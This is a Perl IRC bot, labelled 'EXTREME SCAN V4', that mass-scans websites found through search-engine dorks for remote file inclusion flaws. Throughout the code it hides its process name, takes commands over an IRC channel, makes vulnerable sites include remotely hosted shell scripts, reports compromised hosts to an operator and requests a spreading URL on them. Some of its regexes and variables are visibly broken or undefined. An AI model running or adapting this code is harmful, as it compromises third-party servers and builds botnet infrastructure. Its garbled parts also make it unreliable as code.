#!/usr/bin/perl # EXTREME SCAN V4 # # C0ded By Estrada use IO::Socket::INET; use HTTP::Request; use LWP::UserAgent; ###################### ###################### # Configuration # # # ###################################################### my $processo = 'httpds'; #Process Name ##################################################### my $cmd="http://www.bau-maxx.de/top50/components/com_menus/od20.txt?"; #Print CMD ##################################################### my $id="http://www.drvox.info/gallery/photos/Faune-Flore/AnimauxSauvages/cmd.txt"; #ID ##################################################### my $server="zhall.net"; #Server ##################################################### my $porta="6668"; #Port ##################################################### my $nick="[rANDOK|Number|One]"; #Nickname ##################################################### my $canale="#zhall"; #Channel #####################################################http://reqfer.by.ru/c99.txt my $pid=fork; exit if $pid; $0="$processo"."\0"x16; my $sk = IO::Socket::INET->new(PeerAddr=>"$server",PeerPort=>"$porta",Proto=>"tcp") or die "Can not connect on server!\n"; $sk->autoflush(1); print $sk "NICK $nick\r\n"; print $sk "USER Pbot 8 * : Pbot : Pbot@google.it : Gbot :Sbot\r\n"; print $sk "JOIN $canale\r\n"; print $sk "PRIVMSG $canale :4,1[E]xtreme RFI Scanner Launched on $canale \r\n"; print $sk "PRIVMSG $canale :14[4Scan On14] !scan 4 \r\n"; while($line = <$sk>){ $line =~ s/\r\n$//; if ($line=~ /^PING \:(.*)/) { print "PONG :$1"; print $sk "PONG :$1"; } ###################### #End of Configuration# # # ###################### if ($line=~ /PRIVMSG $canale :!help/){ stampa($sk, "PRIVMSG $canale :14[4Scan On14] !scan 4 "); } ###################### # Commands # # # ###################### ### !afsluiten = exit if ($line=~ /PRIVMSG $canale :!qui/){ stampa($sk, "QUIT"); } ### end of !afsluiten ###################################################################### #################### GOOGLE ###################################################################### if ($line=~ /PRIVMSG $canale :!scan\s+(.*?)\s+(.*)/){ if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $bug=$1; my $dork=$2; my $contatore=0; my %hosts; ### Start Message stampa($sk, "PRIVMSG $canale :14[4@Scan14] The [E]xtreme RFiScan is started for 4$dork"); ### End of Start Message # Starting The Search Engine my @google=&googlet($dork); # push(my @tot, @google); # my @puliti=&unici(@tot); stampa($sk, "PRIVMSG $canale :14[4@Scan14] 14G4o8o14g9l4e14 Total:4 ".scalar(@tot)." 14Cleaned:4 ".scalar(@puliti)." 14for 2 $dork "); my $uni=scalar(@puliti); foreach my $sito (@puliti) { $contatore++; if ($contatore %40==0){ stampa($sk, "PRIVMSG $canale :14[4@Testi14] 14G4o8o14g9l4e14 ".$contatore." dari ".$uni. " situs"); } if ($contatore==$uni-1){ stampa($sk, "PRIVMSG $canale :14[4@Scan14] 14G4o8o14g9l4e14 finished for2 $dork"); } ### Print CMD and TEST CMD### my $test="http://".$sito.$bug.$id."?"; my $print="http://".$sito.$bug.$cmd."?"; ### End of Print CMD and TEST CMD### my $req=HTTP::Request->new(GET=>$test); my $ua=LWP::UserAgent->new(); $ua->timeout(5); my $response=$ua->request($req); if ($response->is_success) { my $re=$response->content; if($re =~ /Mic22/ && $re =~ /uid=/){ my $hs=geths($print); $hosts{$hs}++; if($hosts{$hs}=="1"){ stampa($sk, "PRIVMSG $canale :14[4@Vuln14] 2(14SafeMode:4OFF2) 2(14Site:4 $print 2) "); stampa($sk, "PRIVMSG rANDOK :14[4@Vuln14] 2(14SafeMode:4OFF2) 2(14Site:4 $print 2) "); stampa($sk, "PRIVMSG rANDOK :14[4@Vuln14] 2(14SafeMode:4OFF2) 2(14Site:4 $print 2) "); my $test2="http://".$sito.$bug.$spread."?"; my $reqz=HTTP::Request->new(GET=>$test2); my $ua=LWP::UserAgent->new(); my $response=$ua->request($reqz); }} elsif($re =~ /Mic22/) { my $hs=geths($print); $hosts{$hs}++; if($hosts{$hs}=="1"){ stampa($sk, "PRIVMSG $canale :14[4@Vuln14] 2(14SafeMode:15ON2) 2(14Site:4 $print 2) "); my $test2="http://".$sito.$bug.$spread."?"; my $reqz=HTTP::Request->new(GET=>$test2); my $ua=LWP::UserAgent->new(); my $response=$ua->request($reqz); }} }}} exit; }} ###################################################################### #################### AllTheWeb ###################################################################### if ($line=~ /PRIVMSG $canale :!scan\s+(.*?)\s+(.*)/){ if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $bug=$1; my $dork=$2; my $contatore=0; my %hosts; # Starting The Search Engine my @alltheweb=&allthewebt($dork); my @allweb=&standard($dork); # push(my @tot, @alltheweb, @allweb); # my @puliti=&unici(@tot); stampa($sk, "PRIVMSG $canale :14[4@Scan14] 7All7The7Web14 Total:4 ".scalar(@tot)." 14Cleaned:4 ".scalar(@puliti)." 14for 2 $dork "); my $uni=scalar(@puliti); foreach my $sito (@puliti) { $contatore++; if ($contatore %40==0){ stampa($sk, "PRIVMSG $canale :14[4@Testi14] 7All7The7Web14 ".$contatore." dari ".$uni. " situs"); } if ($contatore==$uni-1){ stampa($sk, "PRIVMSG $canale :14[4@Scan14] 7All7The7Web14 finished for2 $dork"); } ### Print CMD and TEST CMD### my $test="http://".$sito.$bug.$id."?"; my $print="http://".$sito.$bug.$cmd."?"; ### End of Print CMD and TEST CMD### my $req=HTTP::Request->new(GET=>$test); my $ua=LWP::UserAgent->new(); $ua->timeout(5); my $response=$ua->request($req); if ($response->is_success) { my $re=$response->content; if($re =~ /Mic22/ && $re =~ /uid=/){ my $hs=geths($print); $hosts{$hs}++; if($hosts{$hs}=="1"){ stampa($sk, "PRIVMSG $canale :14[4@Vuln14] 2(14SafeMode:4OFF2) 2(14Site:4 $print 2) "); stampa($sk, "PRIVMSG rANDOK :14[4@Vuln14] 2(14SafeMode:4OFF2) 2(14Site:4 $print 2) "); stampa($sk, "PRIVMSG rANDOK :14[4@Vuln14] 2(14SafeMode:4OFF2) 2(14Site:4 $print 2) "); my $test2="http://".$sito.$bug.$spread."?"; my $reqz=HTTP::Request->new(GET=>$test2); my $ua=LWP::UserAgent->new(); my $response=$ua->request($reqz); }} elsif($re =~ /Mic22/) { my $hs=geths($print); $hosts{$hs}++; if($hosts{$hs}=="1"){ stampa($sk, "PRIVMSG $canale :14[4@Vuln14] 2(14SafeMode:15ON2) 2(14Site:4 $print 2) "); my $test2="http://".$sito.$bug.$spread."?"; my $reqz=HTTP::Request->new(GET=>$test2); my $ua=LWP::UserAgent->new(); my $response=$ua->request($reqz); }} }}} exit; }} ###################################################################### # AOL ###################################################################### if ($line=~ /PRIVMSG $canale :!scan\s+(.*?)\s+(.*)/){ if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $bug=$1; my $dork=$2; my $contatore=0; my %hosts; # Starting The Search Engine my @aollist=&aol($dork); my @aollista=&aola($dork); my @aollistb=&aolb($dork); my @aollistc=&aolc($dork); push(my @aolbyp,@aollist, @aollista, @aollistb, @aollistc ); # push(my @tot, @aolbyp); my @puliti=&unici(@tot); stampa($sk, "PRIVMSG $canale :14[4@Scan14] 7AOL14 Total:4 ".scalar(@tot)." 14Cleaned:4 ".scalar(@puliti)." 14for 2 $dork "); my $uni=scalar(@puliti); foreach my $sito (@puliti) { $contatore++; if ($contatore %40==0){ stampa($sk, "PRIVMSG $canale :14[4@Testi14] 7All7The7Web14 ".$contatore." dari ".$uni. " situs"); } if ($contatore==$uni-1){ stampa($sk, "PRIVMSG $canale :14[4@Scan14] 7AOL14 finished for2 $dork"); } ### Print CMD and TEST CMD### my $test="http://".$sito.$bug.$id."?"; my $print="http://".$sito.$bug.$cmd."?"; ### End of Print CMD and TEST CMD### my $req=HTTP::Request->new(GET=>$test); my $ua=LWP::UserAgent->new(); $ua->timeout(5); my $response=$ua->request($req); if ($response->is_success) { my $re=$response->content; if($re =~ /Mic22/ && $re =~ /uid=/){ my $hs=geths($print); $hosts{$hs}++; if($hosts{$hs}=="1"){ stampa($sk, "PRIVMSG $canale :14[4@Vuln14] 2(14SafeMode:4OFF2) 2(14Site:4 $print 2) "); stampa($sk, "PRIVMSG rANDOK :14[4@Vuln14] 2(14SafeMode:4OFF2) 2(14Site:4 $print 2) "); stampa($sk, "PRIVMSG rANDOK :14[4@Vuln14] 2(14SafeMode:4OFF2) 2(14Site:4 $print 2) "); my $test2="http://".$sito.$bug.$spread."?"; my $reqz=HTTP::Request->new(GET=>$test2); my $ua=LWP::UserAgent->new(); my $response=$ua->request($reqz); }} elsif($re =~ /Mic22/) { my $hs=geths($print); $hosts{$hs}++; if($hosts{$hs}=="1"){ stampa($sk, "PRIVMSG $canale :14[4@Vuln14] 2(14SafeMode:15ON2) 2(14Site:4 $print 2) "); my $test2="http://".$sito.$bug.$spread."?"; my $reqz=HTTP::Request->new(GET=>$test2); my $ua=LWP::UserAgent->new(); my $response=$ua->request($reqz); }} }}} exit; }} ###################################################################### #################### Yahoo ###################################################################### if ($line=~ /PRIVMSG $canale :!scan\s+(.*?)\s+(.*)/){ if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $bug=$1; my $dork=$2; my $contatore=0; my %hosts; # Starting The Search Engine my @ylist=&yahoo($dork); my @yalist=&yahooa($dork); my @yblist=&yahoob($dork); my @yclist=&yahooc($dork); my @ydlist=&yahood($dork); push(my @yahoobypass, @ylist, @yalist, @yblist, @yclist, @ydlist ); # push(my @tot, @yahoobypass); my @puliti=&unici(@tot); stampa($sk, "PRIVMSG $canale :14[4@Scan14] 14Y4ahoo4!14 Total:4 ".scalar(@tot)." 14Cleaned:4 ".scalar(@puliti)." 14for 2 $dork "); my $uni=scalar(@puliti); foreach my $sito (@puliti) { $contatore++; if ($contatore %40==0){ stampa($sk, "PRIVMSG $canale :14[4@Testi14] 14Y4ahoo4!14 ".$contatore." dari ".$uni. " situs"); } if ($contatore==$uni-1){ stampa($sk, "PRIVMSG $canale :14[4@Scan14] 14Y4ahoo4!14 finished for2 $dork"); } ### Print CMD and TEST CMD### my $test="http://".$sito.$bug.$id."?"; my $print="http://".$sito.$bug.$cmd."?"; ### End of Print CMD and TEST CMD### my $req=HTTP::Request->new(GET=>$test); my $ua=LWP::UserAgent->new(); $ua->timeout(5); my $response=$ua->request($req); if ($response->is_success) { my $re=$response->content; if($re =~ /Mic22/ && $re =~ /uid=/){ my $hs=geths($print); $hosts{$hs}++; if($hosts{$hs}=="1"){ stampa($sk, "PRIVMSG $canale :14[4@Vuln14] 2(14SafeMode:4OFF2) 2(14Site:4 $print 2) "); stampa($sk, "PRIVMSG rANDOK :14[4@Vuln14] 2(14SafeMode:4OFF2) 2(14Site:4 $print 2) "); stampa($sk, "PRIVMSG rANDOK :14[4@Vuln14] 2(14SafeMode:4OFF2) 2(14Site:4 $print 2) "); my $test2="http://".$sito.$bug.$spread."?"; my $reqz=HTTP::Request->new(GET=>$test2); my $ua=LWP::UserAgent->new(); my $response=$ua->request($reqz); }} elsif($re =~ /Mic22/) { my $hs=geths($print); $hosts{$hs}++; if($hosts{$hs}=="1"){ stampa($sk, "PRIVMSG $canale :14[4@Vuln14] 2(14SafeMode:15ON2) 2(14Site:4 $print 2) "); my $test2="http://".$sito.$bug.$spread."?"; my $reqz=HTTP::Request->new(GET=>$test2); my $ua=LWP::UserAgent->new(); my $response=$ua->request($reqz); }} }}} exit; }} ###################################################################### #################### MSN ###################################################################### if ($line=~ /PRIVMSG $canale :!scan\s+(.*?)\s+(.*)/){ if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $bug=$1; my $dork=$2; my $contatore=0; my %hosts; # Starting The Search Engine my @mlist=&msn($dork); push(my @tot, @mlist); my @puliti=&unici(@tot); stampa($sk, "PRIVMSG $canale :14[4@Scan14] 7M4S7N14 Total:4 ".scalar(@tot)." 14Cleaned:4 ".scalar(@puliti)." 14for 2 $dork "); my $uni=scalar(@puliti); foreach my $sito (@puliti) { $contatore++; if ($contatore %40==0){ stampa($sk, "PRIVMSG $canale :14[4@Testi14] 7M4S7N14 ".$contatore." dari ".$uni. " situs"); } if ($contatore==$uni-1){ stampa($sk, "PRIVMSG $canale :14[4@Scan14] 7M4S7N14 finished for2 $dork"); } ### Print CMD and TEST CMD### my $test="http://".$sito.$bug.$id."?"; my $print="http://".$sito.$bug.$cmd."?"; ### End of Print CMD and TEST CMD### my $req=HTTP::Request->new(GET=>$test); my $ua=LWP::UserAgent->new(); $ua->timeout(5); my $response=$ua->request($req); if ($response->is_success) { my $re=$response->content; if($re =~ /Mic22/ && $re =~ /uid=/){ my $hs=geths($print); $hosts{$hs}++; if($hosts{$hs}=="1"){ stampa($sk, "PRIVMSG $canale :14[4@Vuln14] 2(14SafeMode:4OFF2) 2(14Site:4 $print 2) "); stampa($sk, "PRIVMSG rANDOK :14[4@Vuln14] 2(14SafeMode:4OFF2) 2(14Site:4 $print 2) "); stampa($sk, "PRIVMSG rANDOK :14[4@Vuln14] 2(14SafeMode:4OFF2) 2(14Site:4 $print 2) "); my $test2="http://".$sito.$bug.$spread."?"; my $reqz=HTTP::Request->new(GET=>$test2); my $ua=LWP::UserAgent->new(); my $response=$ua->request($reqz); }} elsif($re =~ /Mic22/) { my $hs=geths($print); $hosts{$hs}++; if($hosts{$hs}=="1"){ stampa($sk, "PRIVMSG $canale :14[4@Vuln14] 2(14SafeMode:15ON2) 2(14Site:4 $print 2) "); my $test2="http://".$sito.$bug.$spread."?"; my $reqz=HTTP::Request->new(GET=>$test2); my $ua=LWP::UserAgent->new(); my $response=$ua->request($reqz); }} }}} exit; }} ###################################################################### #################### ASK ###################################################################### if ($line=~ /PRIVMSG $canale :!scan\s+(.*?)\s+(.*)/){ if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $bug=$1; my $dork=$2; my $contatore=0; my %hosts; # Starting The Search Engine my @asklist=&ask($dork); push(my @tot, @asklist); my @puliti=&unici(@tot); stampa($sk, "PRIVMSG $canale :14[4@Scan14] 14A4S14K14 Total:4 ".scalar(@tot)." 14Cleaned:4 ".scalar(@puliti)." 14for 2 $dork "); my $uni=scalar(@puliti); foreach my $sito (@puliti) { $contatore++; if ($contatore %40==0){ stampa($sk, "PRIVMSG $canale :14[4@Testi14] 14A4S14K14 ".$contatore." dari ".$uni. " situs"); } if ($contatore==$uni-1){ stampa($sk, "PRIVMSG $canale :14[4@Scan14] 14A4S14K14 finished for2 $dork"); } ### Print CMD and TEST CMD### my $test="http://".$sito.$bug.$id."?"; my $print="http://".$sito.$bug.$cmd."?"; ### End of Print CMD and TEST CMD### my $req=HTTP::Request->new(GET=>$test); my $ua=LWP::UserAgent->new(); $ua->timeout(5); my $response=$ua->request($req); if ($response->is_success) { my $re=$response->content; if($re =~ /Mic22/ && $re =~ /uid=/){ my $hs=geths($print); $hosts{$hs}++; if($hosts{$hs}=="1"){ stampa($sk, "PRIVMSG $canale :14[4@Vuln14] 2(14SafeMode:4OFF2) 2(14Site:v4 $print 2) "); stampa($sk, "PRIVMSG rANDOK :14[4@Vuln14] 2(14SafeMode:4OFF2) 2(14Site:4 $print 2) "); stampa($sk, "PRIVMSG rANDOK :14[4@Vuln14] 2(14SafeMode:4OFF2) 2(14Site:4 $print 2) "); my $test2="http://".$sito.$bug.$spread."?"; my $reqz=HTTP::Request->new(GET=>$test2); my $ua=LWP::UserAgent->new(); my $response=$ua->request($reqz); }} elsif($re =~ /Mic22/) { my $hs=geths($print); $hosts{$hs}++; if($hosts{$hs}=="1"){ stampa($sk, "PRIVMSG $canale :14[4@Vuln14] 2(14SafeMode:15ON2) 2(14Site:4 $print 2) "); my $test2="http://".$sito.$bug.$spread."?"; my $reqz=HTTP::Request->new(GET=>$test2); my $ua=LWP::UserAgent->new(); my $response=$ua->request($reqz); }} }}} exit; }} ###################################################################### #################### FireBall ###################################################################### if ($line=~ /PRIVMSG $canale :!scan\s+(.*?)\s+(.*)/){ if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $bug=$1; my $dork=$2; my $contatore=0; my %hosts; # Starting The Search Engine my @fireball=fireball($dork); push(my @tot, @fireball); my @puliti=&unici(@tot); stampa($sk, "PRIVMSG $canale :14[4@Scan14] 4F1ire4B1all14 Total:4 ".scalar(@tot)." 14Cleaned:4 ".scalar(@puliti)." 14for 2 $dork "); my $uni=scalar(@puliti); foreach my $sito (@puliti) { $contatore++; if ($contatore %40==0){ stampa($sk, "PRIVMSG $canale :14[4@Testi14] 4F1ire4B1all14 ".$contatore." dari ".$uni. " situs"); } if ($contatore==$uni-1){ stampa($sk, "PRIVMSG $canale :14[4@Scan14] 4F1ire4B1all14 finished for2 $dork"); } ### Print CMD and TEST CMD### my $test="http://".$sito.$bug.$id."?"; my $print="http://".$sito.$bug.$cmd."?"; ### End of Print CMD and TEST CMD### my $req=HTTP::Request->new(GET=>$test); my $ua=LWP::UserAgent->new(); $ua->timeout(5); my $response=$ua->request($req); if ($response->is_success) { my $re=$response->content; if($re =~ /Mic22/ && $re =~ /uid=/){ my $hs=geths($print); $hosts{$hs}++; if($hosts{$hs}=="1"){ stampa($sk, "PRIVMSG $canale :14[4@Vuln14] 2(14SafeMode:4OFF2) 2(14Site:4 $print 2) "); stampa($sk, "PRIVMSG rANDOK :14[4@Vuln14] 2(14SafeMode:4OFF2) 2(14Site:4 $print 2) "); my $test2="http://".$sito.$bug.$spread."?"; my $reqz=HTTP::Request->new(GET=>$test2); my $ua=LWP::UserAgent->new(); my $response=$ua->request($reqz); }} elsif($re =~ /Mic22/) { my $hs=geths($print); $hosts{$hs}++; if($hosts{$hs}=="1"){ stampa($sk, "PRIVMSG $canale :14[4@Vuln14] 2(14SafeMode:15ON2) 2(14Site:4 $print 2) "); my $test2="http://".$sito.$bug.$spread."?"; my $reqz=HTTP::Request->new(GET=>$test2); my $ua=LWP::UserAgent->new(); my $response=$ua->request($reqz); }} }}} exit; }}} sub stampa() { if ($#_ == '1') { my $sk = $_[0]; print $sk "$_[1]\n"; } else { print $sk "$_[0]\n"; }} ##### # SUBS GOOGLE ##### sub googlet { my @dominios = ("ae","com.ar","at","com.au","be","com.br","ca","ch","cl","de","dk","id"); my @country = ("AE","AR","AT","AU","BE","BR","CA","CH","CL","DE","DK","ID"); my @lang = ("en","es","de","nl","pt-BR","it","de","fo","sv","fr","el","id"); my @lst; my $key=key($_[0]); my $c=0; foreach my $i (@dominios){ my @lista = google($i,$key,$lang[$c],$country[$c]); push(@lst,@lista); $c++; } return @lst; } sub google(){ my @lst; my $i=$_[0]; my $key=$_[1]; my $lang= $_[2]; my $country =$_[4]; for($b=0;$b<=5000;$b+=100){ my $Go=("www.google.".$i."/search?hl=".$lang."&q=".key($key)."&num=100&start=".$b."&meta=cr%4Dcountry".$country); my $Res=query($Go); while($Res =~ m/\"]*)\//g){ if ($1 !~ /google/){ my $k=$1; my @grep=links($k); push(@lst,@grep); }}} return @lst; } ##### # SUBS AllTheWeb ##### sub allthewebt { my @lang = ("en","es","de","nl","pt-BR","it","de","fo"); my @lst; my $key=key($_[0]); my $c=0; foreach my $lang (@lang){ my @lista = alltheweb($key,$lang[$c]); push(@lst,@lista); $c++; } return @lst; } sub alltheweb(){ my @lista; my $key = $_[0]; my $lang= $_[1]; for($b=0;$b<=500;$b+=100){ my $alltheweb=("http://www.alltheweb.com/search?cat=web&_sb_lang=".$lang."&hits=100&q=".key($key)."&o=".$b); my $Res=query($alltheweb); while($Res =~ m/http:\/\/(.+?)\<\/span>/g){ my $k=$1; $k=~s/ //g; my @grep=links($k); push(@lst,@grep); }} return @lst; } sub standard() { my @lst; my $key=$_[0]; my $i=0; my $pg=0; for($i=0; $i<=1000; $i+=100) { my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i); my $Res=query($all); while($Res =~ m/http:\/\/(.+?)\<\/span>/g){ my $k=$1; $k=~s/ //g; my @grep=links($k); push(@lst,@grep); }} return @lst; } ##### # SUBS AOL ##### sub aol(){ my @lst; my $key = $_[0]; for($b=1;$b<=100;$b++){ my $AoL=("http://search.aol.com/aol/search?query=".key($key)."&page=".$b."&nt=null&ie=UTF-8"); my $Res=query($AoL); while($Res =~ m/

http:\/\/(.+?)\<\/p>/g){ my $k=$1; my @grep=links($k); push(@lst,@grep); }} return @lst; } sub aola(){ my @lst; my $key = $_[0]; for($b=1;$b<=59;$b+=1){ my $AoL=("http://64.14.149.44/aol/search?query=".key($key)."&page=".$b."&count_override=20&lr=lang_en"); my $Res=query($AoL); while($Res =~ m/

http:\/\/(.+?)\<\/p>/g){ my $k=$1; my @grep=links($k); push(@lst,@grep); }} return @lst; } sub aolb(){ my @lst; my $key = $_[0]; for($b=1;$b<=59;$b+=1){ my $AoL=("http://64.14.149.44/aol/search?query=".key($key)."&page=".$b."&count_override=20&lr=lang_de"); my $Res=query($AoL); while($Res =~ m/

http:\/\/(.+?)\<\/p>/g){ my $k=$1; my @grep=links($k); push(@lst,@grep); }} return @lst; } sub aolc(){ my @lst; my $key = $_[0]; for($b=1;$b<=59;$b+=1){ my $AoL=("http://64.14.149.44/aol/search?query=".key($key)."&page=".$b."&count_override=20&lr=lang_fr"); my $Res=query($AoL); while($Res =~ m/

http:\/\/(.+?)\<\/p>/g){ my $k=$1; my @grep=links($k); push(@lst,@grep); }} return @lst; } ##### # SUBS Yahoo ##### sub yahoo(){ my @lst; my $key = $_[0]; for($b=1;$b<=1000;$b+=100){ my $Ya=("http://search.yahoo.co.in/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b); my $Res=query($Ya); while($Res =~ m/\(.+?)\<\/span>/g){ my $k=$1; $k=~s///g; $k=~s/<\/b>//g; $k=~s///g; my @grep=links($k); push(@lst,@grep); }} return @lst; } sub yahooa(){ my @lst; my $key = $_[0]; for($b=210;$b<=1000;$b+=210){ my $Ya=("http://search.yahoo.hk/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b); my $Res=query($Ya); while($Res =~ m/\(.+?)\<\/span>/g){ my $k=$1; $k=~s///g; $k=~s/<\/b>//g; $k=~s///g; my @grep=links($k); push(@lst,@grep); }} return @lst; } sub yahoob(){ my @lst; my $key = $_[0]; for($b=410;$b<=1000;$b+=210){ my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b); my $Res=query($Ya); while($Res =~ m/\(.+?)\<\/span>/g){ my $k=$1; $k=~s///g; $k=~s/<\/b>//g; $k=~s///g; my @grep=links($k); push(@lst,@grep); }} return @lst; } sub yahooc(){ my @lst; my $key = $_[0]; for($b=610;$b<=1000;$b+=210){ my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b); my $Res=query($Ya); while($Res =~ m/\(.+?)\<\/span>/g){ my $k=$1; $k=~s///g; $k=~s/<\/b>//g; $k=~s///g; my @grep=links($k); push(@lst,@grep); }} return @lst; } sub yahood(){ my @lst; my $key = $_[0]; for($b=810;$b<=1000;$b+=210){ my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b); my $Res=query($Ya); while($Res =~ m/\(.+?)\<\/span>/g){ my $k=$1; $k=~s///g; $k=~s/<\/b>//g; $k=~s///g; my @grep=links($k); push(@lst,@grep); }} return @lst; } ##### # SUBS MSN ##### sub msn(){ my @lst; my $key = $_[0]; for($b=1;$b<=1000;$b+=10){ my $MsN=("http://search.live.com/results.aspx?q=".key($key)."&first=".$b."&FORM=PERE"); my $Res=query($MsN); while($Res =~ m/\"]*)\//g){ if($1 !~ /msn|live/){ my $k=$1; my @grep=links($k); push(@lst,@grep); }}} return @lst; } ##### # SUBS ASK ##### sub ask(){ my @lst; my $key=$_[0]; my $i=0; my $pg=0; for($i=0; $i<=1000; $i+=10) { my $Ask=("http://it.ask.com/web?q=".key($key)."&o=414&l=dir&qsrc=0&page=".$i."&dm=all"); my $Res=query($Ask); while($Res=~m/new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return; print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n"; my @r = <$sock>; $page="@r"; close($sock); }; return $page; } sub unici{ my @unici = (); my %visti = (); foreach my $elemento ( @_ ) { next if $visti{ $elemento }++; push @unici, $elemento; } return @unici; }